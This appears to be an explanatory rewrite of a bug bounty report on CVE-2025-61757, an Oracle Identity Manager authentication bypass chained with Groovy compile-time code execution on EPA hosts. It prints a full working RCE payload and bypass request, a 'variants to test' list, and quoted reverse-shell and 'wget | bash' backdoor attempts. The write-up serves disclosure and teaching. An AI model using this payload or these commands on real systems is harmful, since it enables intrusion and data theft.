Catatan tentang Penetrasi Keamanan Sistem Oracle Identity Manager di U.S. Environmental Protection Agency | US EPA
An authentication bypass in Oracle Identity Manager's OWSM filter allowed unauthenticated requests to reach a Groovy script compilation endpoint by appending a matrix parameter that matched a public WADL pattern. The endpoint compiled attacker-supplied Groovy code, and the @ASTTest annotation executed a closure during compilation, enabling pre-authentication remote code execution with the privileges of the Oracle user.
Published on medium.com
Writeup
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is Oracle Identity Manager (OIM) as deployed at the U.S. Environmental Protection Agency. OIM sits behind Oracle Web Services Manager (OWSM), and every incoming request is inspected by a Java class whose full name is oracle.wsm.agent.handler.servlet.SecurityFilter. The feature at the centre of the write-up is the groovyscriptstatus endpoint under /iam/governance/applicationmanagement/api/v1/applications/. Its legitimate job is to validate the syntax of a Groovy script supplied by the user: it compiles the script to check for syntax errors and returns a response. The report is explicit that the script is not executed, only compiled, and that a successful check returns:
Script Compilation Successful
Two weaknesses are chained: an authentication bypass in the OWSM filter, and code execution that happens during Groovy compilation rather than at runtime. The report refers to the combination as CVE-2025-61757.

Setup
The exploitation was carried out inside an authorised security assessment through the Bugcrowd EPA program. No account, token or session was needed: the only precondition stated is network access to the host. The requests in the report are sent to empdev2.epa.gov, and the later fingerprinting shows the process running on wamappdev1.rtpnc.epa.gov as uid=4622(oracle) gid=4548(dba) on RHEL 9.8, kernel 5.14.0-687. The report notes that Content-Length is calculated automatically by the tool.
Finding it
The starting point is the regex the filter uses to decide whether a URI points at a WADL file:
WADL_PATTERN = Pattern.compile("\\.[wW][aA][dD][lL](.)*\\z")
Read literally, the pattern asks whether the URI ends with .wadl in any letter case, followed by any characters. If it matches, the filter treats the request as a request for a WADL (Web Application Description Language) file, which is supposed to be public, and lets it through without performing any authentication check at all.
The second observation is about URI syntax. Under RFC 3986, a semicolon introduces a matrix parameter, a parameter attached to a path segment. That gives a URI which satisfies the filter's regex while still routing to a protected resource:

/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl ^^^^^^ matrix param
Two parsers see the same string differently:
SecurityFilterreads the full URI, sees the;.wadlending, matches the regex and lets the request through without authentication.- The JAX-RS runtime parses the URI, discards the matrix parameter
;.wadl, and routes the request to the real resource,groovyscriptstatus.
The result is a request that reaches an endpoint which should be protected without going through authentication at all. The report identifies this as the core of CWE-306 (Missing Authentication for Critical Function). The comparison it gives is:
| Request | Result |
|---|---|
GET /.../groovyscriptstatus |
HTTP 401 (protected) |
POST /.../groovyscriptstatus;.wadl |
HTTP 200 (bypassed) |
The second weakness is in the compilation step itself. Groovy has an annotation, @ASTTest, intended for testing: it takes a closure (a block of code) that is executed during the compilation phase, not at runtime.
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = { })
SEMANTIC_ANALYSIS is one of the early stages of compilation. So even though the script is only supposed to have its syntax checked, the code inside @ASTTest still runs as a side effect of compilation. That is the RCE primitive the report exploits.
Exploitation
Step 1: baseline, confirm the endpoint is protected
A plain request to the endpoint returns HTTP 401 with www-authenticate: Basic realm="owsm", confirming that the endpoint really sits behind OWSM authentication.
Step 2: test the authentication bypass
A POST to the same resource with the matrix parameter appended, an empty body and Content-Type: application/json returns HTTP 200 with Script Compilation Successful. Authentication has been skipped.
Step 3: inject the RCE payload
The same request, now carrying a Groovy payload with @ASTTest, with the command cat /etc/passwd, returns HTTP 200 plus 50 lines of the contents of /etc/passwd. Non-blind RCE is confirmed.
Step 4: fingerprint the system
The commands id; hostname; uname -a; cat /etc/redhat-release return uid=4622(oracle) gid=4548(dba), the hostname wamappdev1.rtpnc.epa.gov, and RHEL 9.8 with kernel 5.14.0-687. The report reads this as confirmation of a high-privilege context.
Step 5: prove arbitrary file write
Writing a file with echo "..." > /usr/opt/oracle/.../oim_domain/dennis.txt succeeds; the response shows the file contents and the output of ls -la as evidence. The write lands in the WebLogic domain directory.
Step 6: confirm the working directory
pwd returns /usr/opt/oracle/product/OIM_MW_HOME/user_projects/domains/oim_domain, confirming the process runs in the OIM domain directory.

The payload, part by part
The full payload is reproduced below, followed by the report's explanation of each numbered block.
import groovy.transform.ASTTestimport org.codehaus.groovy.control.CompilePhase
class Exploit { @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = { try { // [1] Dapatkan thread yang sedang menangani request def thread = Thread.currentThread() def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread) // [2] Naik ke objek Work (unit kerja WebLogic) def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread) // [3] Ambil connectionHandler dari Work via reflection def handlerField = work.getClass().getDeclaredField("connectionHandler") handlerField.setAccessible(true) def handler = handlerField.get(work) // [4] Dapatkan HttpServletResponse dari handler def res = handler.getClass().getMethod("getServletResponse").invoke(handler) // [5] Dapatkan writer untuk menulis ke response HTTP def out = res.getWriter() // [6] Jalankan perintah OS def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND") .redirectErrorStream(true).start() // [7] Baca output proses, tulis ke response def reader = new BufferedReader(new InputStreamReader(process.getInputStream())) String line while ((line = reader.readLine()) != null) { out.println(line) } reader.close() out.flush() res.flushBuffer() } catch (Throwable t) { try { t.printStackTrace() } catch (Throwable ignored) {} } }) def x}
[1] Grab the current thread. Compilation runs inside the thread handling the HTTP request. On WebLogic that thread is of type weblogic.work.ExecuteThread, and the payload captures it to reach the request context.
def thread = Thread.currentThread()def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)
[2] Get the Work object. ExecuteThread holds a reference to a Work, the object representing one unit of work, in this case the HTTP request being processed.
def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)
[3] Read connectionHandler by reflection. The field is private, so the payload forces access with setAccessible(true). This handler is the bridge to the HTTP response object.
def handlerField = work.getClass().getDeclaredField("connectionHandler")handlerField.setAccessible(true)def handler = handlerField.get(work)
[4] Obtain the HttpServletResponse. This is the same object a web application uses to send its reply to the browser.
def res = handler.getClass().getMethod("getServletResponse").invoke(handler)
[5] Obtain the writer. getWriter() gives an output stream to the HTTP response; anything written there appears in the response body the attacker receives.
def out = res.getWriter()
[6] Run the OS command. This is the core of the RCE: ProcessBuilder runs the shell (/bin/sh) with the chosen command, and redirectErrorStream(true) merges stderr into stdout so error messages are captured too.
def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND") .redirectErrorStream(true).start()
[7] Read the output and send it in the response. The command output is read line by line and written to the response, so the attacker sees it directly in the HTTP response. The report calls this non-blind RCE.
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))while ((line = reader.readLine()) != null) { out.println(line)}
The wrapper class Exploit { ... def x } exists only so the @ASTTest annotation has something to attach to. The field x is never used; it is a Groovy syntax formality.
The HTTP request
The request that carries the payload has these headers:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1Host: empdev2.epa.govContent-Type: application/jsonContent-Length: 1283Connection: close
| Header | Function | Note |
|---|---|---|
Host |
Names the target | The domain being exploited |
Content-Type: application/json |
Tells the server the body type | Required; other types (e.g. text/plain) produce HTTP 415 Unsupported Media Type |
Content-Length |
Body length | Calculated automatically by the tool |
Connection: close |
Closes the connection after the response | Optional, for convenience |
| No auth header | None | This is the proof: no Authorization of any kind |
Content-Type must be application/json because the groovyscriptstatus endpoint is declared with @Consumes("application/json") in the OIM code. If the content type does not match, JAX-RS rejects the request before it can process the body, producing HTTP 415. The report describes application/json as the key that lets the body reach the Groovy compiler.
The position of ;.wadl matters too. It must be attached to the last path segment, after groovyscriptstatus, not after /applications. SecurityFilter checks the end of the whole URI, so a ;.wadl at the end matches wherever it sits, but JAX-RS parses matrix parameters per segment. Putting it after the resource name ensures routing still finds groovyscriptstatus. Placed elsewhere, for example /applications;.wadl/groovyscriptstatus, routing can fail because the applications segment becomes invalid.
Root cause
There are two independent mistakes, and the exploit needs both.
First, the OWSM SecurityFilter decides authorisation from a regex on the raw URI rather than on the parsed path. Because the regex only anchors the end of the string, any suffix that looks like a WADL file is treated as a public WADL resource, and the matrix parameter survives long enough to satisfy the check while the JAX-RS router strips it before dispatch. The filter and the router disagree about what the URI means, and the filter is the one making the security decision.
Second, the groovyscriptstatus feature compiles attacker-supplied Groovy. Compilation is not a safe operation on untrusted input in Groovy: @ASTTest runs its closure during SEMANTIC_ANALYSIS, so a syntax check is enough to execute code. The endpoint's design assumes that compiling a script is harmless, and that assumption is wrong.
The report also explains why runtime monitoring can miss this: execution happens inside the Groovy compilation phase rather than during normal application method execution, a path that agents watching application method calls may not cover.
Impact
The combination yields pre-authentication, non-blind RCE. No account, token or session is required, only network access to the host, which is why the report cites a CVSS of 9.8 with AV:N/AC:L/PR:N/UI:N all at their worst values. Because the payload writes command output straight into the HttpServletResponse, the attacker sees results in the HTTP response and does not need DNS exfiltration or a reverse shell, which makes the exploitation faster, more reliable and easy to automate.
The process runs as oracle, a member of dba and oinstall. According to the report this means an attacker could access the Oracle database, read the OIM keystore and credentials, modify the WebLogic domain configuration, and potentially move laterally to connected systems. The report lists lateral movement to connected systems as a potential consequence.
Defences that held
Despite the critical application flaw, network controls stopped the follow-on attempts.
Egress filtering defeated a reverse shell. The attempt and result are given as:
Percobaan: perl → connect ke [redacted]:1337 → sh -iHasil : TCP PROBE_CLOSED — port 1337 difilter
The Perl process ran, but no callback connection formed because the EPA network blocks outbound connections to non-standard ports, preventing an interactive backdoor.
A DNS sinkhole defeated a gsocket backdoor:
Percobaan: wget -O- https://gsocket.io/y | bashHasil : gsocket.io resolve ke [redacted] / :: (sinkhole)
The domain used for the covert tunnel resolved to unused addresses, so the backdoor binary was never downloaded. Verification afterwards showed no leftover process, binary or cron entry.
The lesson the report draws is that the application flaw and the network defences are separate layers. Once RCE breaks through the application, egress filtering and DNS sinkholes limit the damage, which is the case for defence in depth: one layer can fail while another still protects.
Fix
The report does not describe a patch or a change made by the vendor.
Variants to test
- Matrix parameter against other OWSM-protected endpoints. Append
;.wadlto the last path segment of any endpoint that returns 401 and send the request without credentials. A positive result is HTTP 200 or any response other than 401, showing the filter let it through while the router still reached the resource. - Other suffixes matched by the same regex family. The pattern is case-insensitive on
.wadland allows trailing characters, so try mixed case and trailing content after the extension. A positive result is the same discrepancy: the filter treats the URI as public, the router dispatches to the protected resource. - Matrix parameter placement. Try the parameter on earlier segments, for example
/applications;.wadl/groovyscriptstatus. The report says routing can fail there, so a 404 or routing error is the expected negative; a 200 would show a wider bypass. - Content type handling on the same endpoint. Send the payload with a type other than
application/json. The report says this yields HTTP 415, so a 200 would indicate the@Consumesconstraint is not enforced and the attack surface is broader. - Compile-time execution in other Groovy-accepting features. Any endpoint that compiles user-supplied Groovy is a candidate for
@ASTTestwith a closure atSEMANTIC_ANALYSIS. A positive result is a side effect (file write, outbound connection attempt, output in the response) appearing even though the script was only meant to be syntax-checked. - Reflection chain on other WebLogic deployments. The payload depends on
weblogic.work.ExecuteThread,getCurrentWork, the privateconnectionHandlerfield andgetServletResponse. On another WebLogic host, a positive result is command output appearing in the HTTP response body without any separate channel.
What happened, in plain words
A security researcher was allowed to test a website run by the U.S. Environmental Protection Agency (EPA), the American government body responsible for environmental protection. The website was part of a bug bounty programme run through Bugcrowd, which means the organisation invites researchers to try to break in, within agreed rules, and report what they find.
The website runs a product called Oracle Identity Manager, or OIM. OIM is a piece of software that organisations use to manage who is allowed to log in to which systems: it creates accounts, assigns permissions and keeps track of identities. Think of it as the reception desk of a large building: it checks who you are and which doors your badge opens.
OIM does not stand alone. In front of it sits another Oracle product, Oracle Web Services Manager, or OWSM. OWSM is a gatekeeper: every request that arrives is inspected by a piece of Java code called oracle.wsm.agent.handler.servlet.SecurityFilter before it is allowed to reach the application behind it. If you have ever queued at a building entrance where a guard checks badges, OWSM is that guard.
The researcher found two separate mistakes that, combined, allowed a request reaching the server over the network to run commands on it, without logging in at all. The first mistake is in the guard: a quirk in how it reads web addresses lets a request slip past the badge check. The second mistake is in a feature of OIM that is supposed to only check the spelling of a small script, but which actually runs part of that script while checking it. Put together, the two mistakes mean: walk past the guard, hand over a script, and the server runs your commands and shows you the output.
The report calls the combination CVE-2025-61757. A CVE is a public catalogue number for a known security flaw, so that everyone in the world can refer to the same issue by the same name.

The pieces involved, explained from zero
Before walking through the attack, here are the ideas you need. None of them require any prior security knowledge.
A web request. When you type an address into a browser, the browser sends a small text message to a server. That message has a first line (the method, such as GET to fetch something or POST to send something, plus the path), then a set of headers (extra information such as what kind of data is being sent), then optionally a body (the data itself). The server replies with a status code: 200 means OK, 401 means you are not allowed in without proving who you are, 404 means not found, 415 means the server does not accept the format you sent.
An API. An API (Application Programming Interface) is a way for one piece of software to talk to another. Instead of a page designed for a human to click, an API exposes addresses (endpoints) that accept data and return data. Think of a restaurant: the menu is the API, the kitchen is the software, and you do not need to know how the kitchen works, only what to order and how to order it.
An endpoint. A specific address inside an API. For example, /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus is one endpoint. Each endpoint does one job.
Authentication. Proving who you are. A username and password is authentication. A session cookie or a token is also authentication: after you log in, the server gives your browser a small piece of data to present on every later request, so you do not have to type your password again. If a request carries no such proof, the server should answer 401.
A regex. A regular expression is a pattern used to match text. For example, a regex can ask "does this string end with .wadl?". Programmers use regexes to make quick decisions about text, such as whether a web address looks like a certain kind of file.
WADL. Web Application Description Language. It is a file that describes an API, a bit like a table of contents. Such description files are usually meant to be public, so a gatekeeper might deliberately let requests for them through without a login.
A matrix parameter. Web addresses have a formal specification, RFC 3986. In it, a semicolon inside a path segment introduces a matrix parameter: extra information attached to that part of the path. Many routing engines ignore it when deciding which endpoint to run. This detail is the heart of the first mistake.
Groovy. A programming language that runs on the Java platform. It is often used for small scripts inside larger Java applications, because it is quick to write.
Compiling versus running. A computer cannot execute source code directly; it must first translate it into a form the machine understands. That translation is called compiling. Normally, compiling is considered a safe, passive step: you check that the code is written correctly, and only later do you run it. The second mistake in this report is that, in Groovy, compiling can itself run code.
An annotation. In Java and Groovy, an annotation is a label you attach to a piece of code to give the compiler extra instructions. It starts with @. For example, @ASTTest is an annotation that Groovy provides for testing purposes.
RCE. Remote Code Execution: the ability for an attacker, from a distance, to make the server run commands of their choosing. It is one of the most serious kinds of flaw, because the attacker is no longer limited to what the website was designed to do.
Non-blind RCE. If the attacker can see the output of the commands in the response, it is called non-blind. If the attacker has to find another channel (such as a separate outbound connection) to learn the result, it is called blind. Non-blind is easier and faster to exploit.
Reflection. A feature of Java-like languages that lets code inspect and manipulate other code at runtime: find a class by name, call a method by name, or read a private field that would normally be off limits. It is powerful and is often used by frameworks, but also by attackers.
WebLogic. Oracle's Java application server. OIM runs inside WebLogic, which handles incoming HTTP requests and hands them to the application. WebLogic has its own internal classes, such as weblogic.work.ExecuteThread, which represent the thread currently handling a request.
A thread. A single line of execution inside a program. A busy server runs many threads at once, one per request, so that requests do not have to wait for each other.
CVSS. Common Vulnerability Scoring System: a standard 0 to 10 score for how severe a flaw is. 9.8 is near the maximum. The letters AV:N/AC:L/PR:N/UI:N are the components of that score: attackable over the network, low complexity, no privileges required, no user interaction.
CWE-306. A catalogue entry for a class of weakness: Missing Authentication for Critical Function, meaning an important feature can be used without logging in.
Egress filtering. Blocking outbound connections from a network, so that even a compromised server cannot call out to the internet freely.
DNS sinkhole. DNS is the system that turns names like example.com into numeric addresses. A sinkhole deliberately answers with a useless address (such as [redacted]), so that connections to that name go nowhere.
Reverse shell. A connection initiated from the victim server back to the attacker, giving the attacker an interactive command prompt on the victim. It is the classic way to turn a one-shot command execution into a lasting foothold.
Defence in depth. Layering several independent protections so that if one fails, another still limits the damage.
The setup
The testing was done inside an authorised security assessment through the Bugcrowd EPA programme. The report states that no account, token or session was needed: network access to the host was enough. In other words, the researcher did not need to log in, register, or obtain any credential. If you can reach the server, you can try.
The requests in the report are sent to empdev2.epa.gov. Later, when the researcher ran commands on the server, the output showed the process running on wamappdev1.rtpnc.epa.gov as uid=4622(oracle) gid=4548(dba) on RHEL 9.8, kernel 5.14.0-687. RHEL is Red Hat Enterprise Linux, a common server operating system. The uid and gid are the numeric user and group identifiers under which the process runs: the account is called oracle, and it belongs to a group called dba (database administrator). That is a privileged account, which matters later.
The report notes that Content-Length is calculated automatically by the tool.
Finding the first mistake: the guard reads the address wrong
The starting point is the regex the OWSM filter uses to decide whether a web address points at a WADL file:
WADL_PATTERN = Pattern.compile("\\.[wW][aA][dD][lL](.)*\\z")
Line by line, in plain words:
WADL_PATTERNis the name of the pattern, stored in a variable.Pattern.compile(...)is Java's way of preparing a regex for use.\.means a literal dot. In regex, a bare dot means "any character", so the backslash is needed to say "an actual dot".[wW]means the letter w, in either lower or upper case. The same idea applies to[aA],[dD]and[lL], so the pattern matches.wadl,.WADL,.Wadland any other mix of cases.(.)*means "any characters, repeated zero or more times".\zmeans "the very end of the string".
Read as a sentence, the pattern asks: does this web address end with .wadl in any letter case, possibly followed by other characters? If yes, the filter treats the request as a request for a WADL description file, which is supposed to be public, and lets it through without performing any authentication check at all.
That is the first mistake: the guard decides based on a quick pattern match on the raw address, rather than on a careful reading of what the address actually means.
The second observation is about web address syntax. Under RFC 3986, a semicolon introduces a matrix parameter, a parameter attached to a path segment. That gives an address which satisfies the filter's regex while still routing to a protected resource:

/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl ^^^^^^ matrix param
Line by line:
/iam/governance/applicationmanagement/api/v1/applications/is the path to the applications area of the OIM API.groovyscriptstatusis the name of the endpoint. This is the protected resource.;.wadlis the matrix parameter. The semicolon says "here comes a parameter attached to this segment", and.wadlis the parameter's content.- The caret line underneath simply points at the
;.wadlpart, labelling it as the matrix parameter.
Two parsers see the same string differently:
SecurityFilterreads the full address, sees the;.wadlending, matches the regex and lets the request through without authentication.- The JAX-RS runtime (the routing engine behind the filter, which decides which endpoint to run) parses the address, discards the matrix parameter
;.wadl, and routes the request to the real resource,groovyscriptstatus.
The result is a request that reaches an endpoint which should be protected without going through authentication at all. The report identifies this as the core of CWE-306 (Missing Authentication for Critical Function).
A useful comparison: imagine a building where the guard only checks whether your visitor badge has the word "visitor" printed on it, and lets anyone with that word through. You write "visitor" on a sticky note, attach it to your jacket, and walk in. The guard sees the word and waves you through. The receptionist inside, however, reads your actual name badge, ignores the sticky note, and sends you to the right office. Two people, two readings of the same person, one security decision made by the wrong one.
The comparison the report gives is:
| Request | Result |
|---|---|
GET /.../groovyscriptstatus |
HTTP 401 (protected) |
POST /.../groovyscriptstatus;.wadl |
HTTP 200 (bypassed) |
In plain words: a normal request to the endpoint is refused with 401, meaning "you must log in". The same request with ;.wadl appended is accepted with 200, meaning "here is your answer". The guard was fooled; the router was not.
Finding the second mistake: checking a script runs part of it
The second weakness is in the compilation step itself. Groovy has an annotation, @ASTTest, intended for testing: it takes a closure (a block of code) that is executed during the compilation phase, not at runtime.
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = { })
Line by line:
@ASTTestis the annotation. It is a label attached to a piece of code.phase = CompilePhase.SEMANTIC_ANALYSISsays at which stage of compilation the annotation should act.SEMANTIC_ANALYSISis one of the early stages, where the compiler works out what the code means, not just whether it is spelled correctly.value = { }is the closure: the block of code that will be run at that stage. In the example it is empty, but in the attack it contains the real payload.
So even though the script is only supposed to have its syntax checked, the code inside @ASTTest still runs as a side effect of compilation. That is the RCE primitive the report exploits.
An everyday comparison: imagine a proofreader whose job is only to check spelling. You hand over a document, and hidden in a footnote is an instruction: "while proofreading, please also post this letter". A careful proofreader would ignore it, but this particular proofreader follows every instruction it finds, including the footnote. The document was only supposed to be checked, not acted upon.
The exploitation, step by step
The report describes six steps. Each step builds on the previous one, and each has a clear purpose.
Step 1: baseline, confirm the endpoint is protected
A plain request to the endpoint returns HTTP 401 with www-authenticate: Basic realm="owsm", confirming that the endpoint really sits behind OWSM authentication.
Why this step matters: before claiming a bypass, you must show what the normal behaviour is. The www-authenticate header is the server's way of saying "please identify yourself, using Basic authentication, in the OWSM realm". A realm is just a named area of protection. Seeing this header proves the guard is in place and working for ordinary requests.
Step 2: test the authentication bypass
A POST to the same resource with the matrix parameter appended, an empty body and Content-Type: application/json returns HTTP 200 with Script Compilation Successful. Authentication has been skipped.
Why this step matters: it isolates the first mistake. No payload yet, just the trick of appending ;.wadl. If the server answers 200 instead of 401, the guard has been bypassed. The body is empty because we are not yet trying to do anything; we are only checking whether we can get in.
Step 3: inject the RCE payload
The same request, now carrying a Groovy payload with @ASTTest, with the command cat /etc/passwd, returns HTTP 200 plus 50 lines of the contents of /etc/passwd. Non-blind RCE is confirmed.
Why this step matters: /etc/passwd is a standard file on Linux systems that lists user accounts, and reading it proves command execution without changing anything. Fifty lines of its contents coming back in the response is direct proof that the server ran the command and showed the result.
Step 4: fingerprint the system
The commands id; hostname; uname -a; cat /etc/redhat-release return uid=4622(oracle) gid=4548(dba), the hostname wamappdev1.rtpnc.epa.gov, and RHEL 9.8 with kernel 5.14.0-687. The report reads this as confirmation of a high-privilege context.
Why this step matters: knowing which account you are running as, which machine you are on, and which operating system version is installed tells you how much damage could be done and what further steps might work. id shows the current user, hostname shows the machine name, uname -a shows kernel and system details, and cat /etc/redhat-release shows the Linux distribution version. The semicolons simply chain the commands so they all run in one go.
Step 5: prove arbitrary file write
Writing a file with echo "..." > /usr/opt/oracle/.../oim_domain/dennis.txt succeeds; the response shows the file contents and the output of ls -la as evidence. The write lands in the WebLogic domain directory.
Why this step matters: being able to write files is a separate capability from running commands, and the report uses a controlled file write as proof of concept. The echo "..." > file syntax writes text into a file, and ls -la lists the directory in long format so you can see the file exists with its size and permissions. The path is inside the WebLogic domain directory, which is where the server keeps its configuration.
Step 6: confirm the working directory
pwd returns /usr/opt/oracle/product/OIM_MW_HOME/user_projects/domains/oim_domain, confirming the process runs in the OIM domain directory.
Why this step matters: pwd means "print working directory", the folder the process is currently in. Knowing this confirms the context: the commands are running inside the OIM installation, not somewhere unrelated.

The payload, part by part
The full payload is reproduced below, followed by the report's explanation of each numbered block.
import groovy.transform.ASTTestimport org.codehaus.groovy.control.CompilePhase
Line by line:
import groovy.transform.ASTTestmakes the@ASTTestannotation available in this script.import org.codehaus.groovy.control.CompilePhasemakes the list of compilation phases available, so the script can nameSEMANTIC_ANALYSIS.
Without these two lines, the script would not know what @ASTTest or CompilePhase mean.
class Exploit { @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = { try { // [1] Dapatkan thread yang sedang menangani request def thread = Thread.currentThread() def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread) // [2] Naik ke objek Work (unit kerja WebLogic) def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread) // [3] Ambil connectionHandler dari Work via reflection def handlerField = work.getClass().getDeclaredField("connectionHandler") handlerField.setAccessible(true) def handler = handlerField.get(work) // [4] Dapatkan HttpServletResponse dari handler def res = handler.getClass().getMethod("getServletResponse").invoke(handler) // [5] Dapatkan writer untuk menulis ke response HTTP def out = res.getWriter() // [6] Jalankan perintah OS def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND") .redirectErrorStream(true).start() // [7] Baca output proses, tulis ke response def reader = new BufferedReader(new InputStreamReader(process.getInputStream())) String line while ((line = reader.readLine()) != null) { out.println(line) } reader.close() out.flush() res.flushBuffer() } catch (Throwable t) { try { t.printStackTrace() } catch (Throwable ignored) {} } }) def x}
At the top level:
class Exploit { ... }defines a class, a named container for code. It exists only so the annotation has something to attach to.@ASTTest(...)is the annotation, with the phase and the closure as before.try { ... } catch (Throwable t) { ... }wraps the whole payload so that if anything goes wrong, the error is caught rather than breaking the compilation.Throwableis the broadest kind of error in Java-like languages.def xis a field that is never used. It is a Groovy syntax formality, as the report explains.
Now the numbered blocks.
[1] Grab the current thread. Compilation runs inside the thread handling the HTTP request. On WebLogic that thread is of type weblogic.work.ExecuteThread, and the payload captures it to reach the request context.
def thread = Thread.currentThread()def execThread = Class.forName("weblogic.work.ExecuteThread").cast(thread)
Line by line:
Thread.currentThread()asks the running program: which thread am I on right now? The answer is the thread handling the incoming HTTP request.Class.forName("weblogic.work.ExecuteThread")looks up the WebLogic class by its name, as text..cast(thread)treats the current thread as that class, so the payload can call WebLogic-specific methods on it.
Why this step: the payload needs to reach the HTTP response object, and the only way to get there is through the request-handling thread. This is the entry point.
[2] Get the Work object. ExecuteThread holds a reference to a Work, the object representing one unit of work, in this case the HTTP request being processed.
def work = execThread.getClass().getMethod("getCurrentWork").invoke(execThread)
Line by line:
execThread.getClass()gets the class of the thread object..getMethod("getCurrentWork")finds the method namedgetCurrentWorkon that class..invoke(execThread)calls that method on the thread object, returning theWork.
Why this step: the thread is a worker; the Work is the job it is doing. The response object is attached to the job, not directly to the worker.
[3] Read connectionHandler by reflection. The field is private, so the payload forces access with setAccessible(true). This handler is the bridge to the HTTP response object.
def handlerField = work.getClass().getDeclaredField("connectionHandler")handlerField.setAccessible(true)def handler = handlerField.get(work)
Line by line:
getDeclaredField("connectionHandler")finds the field namedconnectionHandleron theWorkclass.setAccessible(true)overrides the normal rule that private fields cannot be read from outside. This is the reflection trick.handlerField.get(work)reads the field's value from theWorkobject.
Why this step: the connection handler is the object that knows about the network connection, and through it the response. It is private, so reflection is needed to reach it.
[4] Obtain the HttpServletResponse. This is the same object a web application uses to send its reply to the browser.
def res = handler.getClass().getMethod("getServletResponse").invoke(handler)
Line by line:
handler.getClass()gets the class of the handler..getMethod("getServletResponse")finds the method that returns the response..invoke(handler)calls it, giving the response object.
Why this step: the response object is what the attacker will write into. It is the same object the application would use to send a normal reply.
[5] Obtain the writer. getWriter() gives an output stream to the HTTP response; anything written there appears in the response body the attacker receives.
def out = res.getWriter()
Line by line:
res.getWriter()asks the response for a writer, an object that accepts text and sends it to the client.outis the name given to that writer.
Why this step: without a writer, the payload could run commands but would have no way to send the output back.
[6] Run the OS command. This is the core of the RCE: ProcessBuilder runs the shell (/bin/sh) with the chosen command, and redirectErrorStream(true) merges stderr into stdout so error messages are captured too.
def process = new ProcessBuilder("/bin/sh", "-c", "COMMAND") .redirectErrorStream(true).start()
Line by line:
new ProcessBuilder(...)prepares a new operating system process."/bin/sh"is the shell, the program that interprets command lines on Linux."-c"tells the shell to take the next argument as a command to run."COMMAND"is a placeholder for the actual command, such ascat /etc/passwd..redirectErrorStream(true)merges error output into normal output, so nothing is lost..start()actually launches the process.
Why this step: this is where the server is made to do something it was never meant to do. Everything before was preparation; this is the execution.
[7] Read the output and send it in the response. The command output is read line by line and written to the response, so the attacker sees it directly in the HTTP response. The report calls this non-blind RCE.
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))while ((line = reader.readLine()) != null) { out.println(line)}
Line by line:
process.getInputStream()gives the stream of output produced by the command.new InputStreamReader(...)turns that stream of bytes into text.new BufferedReader(...)wraps it so it can be read line by line efficiently.while ((line = reader.readLine()) != null)keeps reading until there are no more lines.out.println(line)writes each line into the HTTP response.
Why this step: without this, the command would run but the attacker would see nothing. This is what makes the RCE non-blind.
Finally, reader.close(), out.flush() and res.flushBuffer() tidy up: close the reader, push any buffered text out, and make sure the response is sent.
The wrapper class Exploit { ... def x } exists only so the @ASTTest annotation has something to attach to. The field x is never used; it is a Groovy syntax formality.
The HTTP request
The request that carries the payload has these headers:
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1Host: empdev2.epa.govContent-Type: application/jsonContent-Length: 1283Connection: close
Line by line:
POST ... HTTP/1.1is the request line: the method is POST (send data), the path is the endpoint with the matrix parameter, and the protocol version is HTTP/1.1.Host: empdev2.epa.govnames the server being contacted.Content-Type: application/jsonsays the body is JSON, a common text format for structured data.Content-Length: 1283says the body is 1283 bytes long.Connection: closeasks the server to close the connection after replying.
| Header | Function | Note |
|---|---|---|
Host |
Names the target | The domain being exploited |
Content-Type: application/json |
Tells the server the body type | Required; other types (e.g. text/plain) produce HTTP 415 Unsupported Media Type |
Content-Length |
Body length | Calculated automatically by the tool |
Connection: close |
Closes the connection after the response | Optional, for convenience |
| No auth header | None | This is the proof: no Authorization of any kind |
Content-Type must be application/json because the groovyscriptstatus endpoint is declared with @Consumes("application/json") in the OIM code. If the content type does not match, JAX-RS rejects the request before it can process the body, producing HTTP 415. The report describes application/json as the key that lets the body reach the Groovy compiler.
An everyday comparison: the endpoint is like a counter that only accepts parcels in a particular box. If you hand over a parcel in a different box, the clerk refuses it at the counter, before anyone opens it. application/json is the right box.
The position of ;.wadl matters too. It must be attached to the last path segment, after groovyscriptstatus, not after /applications. SecurityFilter checks the end of the whole address, so a ;.wadl at the end matches wherever it sits, but JAX-RS parses matrix parameters per segment. Putting it after the resource name ensures routing still finds groovyscriptstatus. Placed elsewhere, for example /applications;.wadl/groovyscriptstatus, routing can fail because the applications segment becomes invalid.
Why the two mistakes together are so serious
There are two independent mistakes, and the exploit needs both.
First, the OWSM SecurityFilter decides authorisation from a regex on the raw address rather than on the parsed path. Because the regex only anchors the end of the string, any suffix that looks like a WADL file is treated as a public WADL resource, and the matrix parameter survives long enough to satisfy the check while the JAX-RS router strips it before dispatch. The filter and the router disagree about what the address means, and the filter is the one making the security decision.
Second, the groovyscriptstatus feature compiles attacker-supplied Groovy. Compilation is not a safe operation on untrusted input in Groovy: @ASTTest runs its closure during SEMANTIC_ANALYSIS, so a syntax check is enough to execute code. The endpoint's design assumes that compiling a script is harmless, and that assumption is wrong.
The report also explains why runtime monitoring tends to miss this: execution happens inside the Groovy compilation phase rather than during normal application method execution, a path that agents watching application method calls rarely cover. In other words, the security tools that watch what the application does at runtime are looking at the wrong moment.
Impact
